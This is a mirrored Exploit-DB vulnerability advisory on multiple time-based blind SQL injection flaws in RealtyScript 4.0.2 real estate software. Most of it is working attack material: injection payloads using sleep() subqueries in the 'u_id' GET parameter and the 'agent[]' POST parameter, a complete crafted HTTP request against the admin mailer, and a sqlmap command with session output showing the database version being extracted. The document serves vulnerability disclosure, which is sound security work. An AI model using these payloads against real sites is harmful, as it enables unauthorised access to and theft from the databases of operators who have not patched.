RealtyScript 4.0.2 – Multiple Blind SQL Injections

  • 作者: LiquidWorm
    日期: 2015-10-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38497/
  • 
    RealtyScript v4.0.2 Multiple Time-based Blind SQL Injection Vulnerabilities
    
    
    Vendor: Next Click Ventures
    Product web page: http://www.realtyscript.com
    Affected version: 4.0.2
    
    Summary: RealtyScript is award-winning real estate software that makes
    it effortless for a real estate agent, office, or entrepreneur to be
    up and running with a real estate web site in minutes. The software
    is in daily use on thousands of domain names in over 40 countries and
    has been translated into over 25 languages.
    
    Desc: RealtyScript suffers from multiple SQL Injection vulnerabilities.
    Input passed via the GET parameter 'u_id' and the POST parameter 'agent[]'
    is not properly sanitised before being returned to the user or used in
    SQL queries. This can be exploited to manipulate SQL queries by injecting
    arbitrary SQL code.
    
    Tested on: Apache/2.4.6 (CentOS)
     PHP/5.4.16
     MariaDB-5.5.41
    
    
    Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2015-5270
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5270.php
    
    
    01.10.2015
    
    --
    
    
    (1)
    
    GET /admin/users.php?req=remove&u_id=103 and (select * from (select(sleep(66)))a)-- & HTTP/1.1
    
    
    (2)
    
    POST /admin/mailer.php HTTP/1.1
    Host: TARGET
    Content-Length: 62
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: http://TARGET
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Referer: http://TARGET/admin/mailer.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: PHPSESSID=vaq21340scj2u53a1b96ehvid5;
    
    agent[]=102 and (select * from (select(sleep(67)))a)-- &subject=test&message=t00t^^&submit_mailer=Send
    
    
    
    
    ====================================== .sqlmap session output =======================================
    
    $ sqlmap -r request1.txt -p "u_id" --dbms=MySQL --os=Linux --sql-query="SELECT @@version"
     _
     ___ ___| |_____ ___ ___{1.0-dev-04c1d43}
    |_ -| . | | | .'| . |
    |___|_|_|_|_|_|__,|_|
    |_| |_| http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
    
    [*] starting at 14:36:36
    
    [14:36:36] [INFO] parsing HTTP request from 'request1.txt'
    [14:36:36] [INFO] testing connection to the target URL
    sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
    ---
    Parameter: u_id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: req=remove&u_id=103 AND (SELECT * FROM (SELECT(SLEEP(5)))YrMM)
    ---
    [14:36:36] [INFO] testing MySQL
    [14:36:36] [INFO] confirming MySQL
    [14:36:36] [INFO] the back-end DBMS is MySQL
    web server operating system: Linux CentOS
    web application technology: Apache 2.4.6, PHP 5.4.16
    back-end DBMS: MySQL >= 5.0.0
    [14:36:36] [INFO] fetching SQL SELECT statement query output: 'SELECT @@version'
    [14:36:36] [WARNING] time-based comparison requires larger statistical model, please wait..............................
    [14:36:45] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
    do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
    [14:37:03] [INFO] adjusting time delay to 2 seconds due to good response times
    5.5.41-MariaDB
    SELECT @@version:'5.5.41-MariaDB'
    [14:38:50] [INFO] fetched data logged to text files under '/.sqlmap/output/TARGET'
    
    [*] shutting down at 14:38:50
    
    ======================================= sqlmap session output. ======================================